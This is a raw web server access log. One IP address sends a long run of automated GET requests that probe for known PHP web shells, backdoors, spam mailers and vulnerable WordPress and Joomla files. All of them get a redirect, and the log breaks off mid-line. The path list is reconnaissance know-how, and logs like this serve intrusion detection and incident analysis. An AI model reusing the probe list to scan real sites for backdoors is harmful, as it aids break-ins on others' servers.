"-" 52.254.10.121 - - [08/Apr/2025:15:41:11 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:12 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:14 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:15 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:17 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:19 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:21 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:23 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:24 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:25 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:26 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:28 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:29 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:31 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:33 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:34 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:36 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:39 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:40 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:41 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:43 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:47 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:50 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:53 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:56 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:41:58 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:01 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:02 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:07 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:10 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:13 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:15 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:19 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:23 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:25 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:27 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:28 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:30 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:33 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:35 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:38 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:41 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:43 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:45 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:47 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:49 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:52 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:54 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:57 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:42:59 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:02 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:03 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:05 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:07 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:09 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:11 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:15 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:20 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:23 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:26 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:29 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:32 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:34 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:38 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:41 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:43 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:46 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:49 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:52 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:43:56 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:02 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:07 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:10 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:14 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:20 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:25 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:32 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:39 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:45 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:49 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:55 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:44:59 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:45:02 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:45:06 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:45:12 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:45:18 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:45:26 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:45:34 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:45:41 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:45:46 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:45:51 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:45:55 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:01 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:04 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:09 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:12 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:14 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:16 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:18 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:19 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:22 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:24 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:27 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:31 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:35 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:39 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:43 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:47 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:49 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:52 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:55 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:46:58 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:03 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:07 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:11 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:14 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:18 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:23 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:26 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:29 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:31 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:33 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:38 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:41 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:43 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:45 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:47 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:49 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:51 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:53 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:55 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:47:57 -0400] "GET /alexusmailer2.0.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:00 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:03 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:05 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:06 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:09 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:11 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:15 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:19 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:23 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:25 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:27 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:31 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:34 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:38 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:41 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:45 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:47 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:50 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:53 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:48:56 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:00 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:03 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:06 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:09 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:11 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:14 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:17 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:21 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:23 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:25 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:27 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:31 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:34 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:38 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:40 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:45 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:49 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:52 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:55 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:49:59 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:05 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:11 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:14 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:17 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:22 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:26 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:29 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:32 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:34 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:36 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:38 -0400] "GET //wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:40 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:42 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:43 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:45 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:47 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:50 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:53 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:56 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:50:59 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:01 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:03 -0400] "GET //wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:07 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:12 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:18 -0400] "GET //modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:20 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:24 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:29 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:34 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:39 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:46 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:50 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:51:56 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:02 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:08 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:12 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:15 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:23 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:27 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:33 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:37 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:42 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:45 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:49 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:52 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:56 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:52:58 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:03 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:05 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:09 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:11 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:15 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:19 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:23 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:27 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:29 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:33 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:40 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:45 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:48 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:50 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:52 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:53 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:53:56 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:00 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" 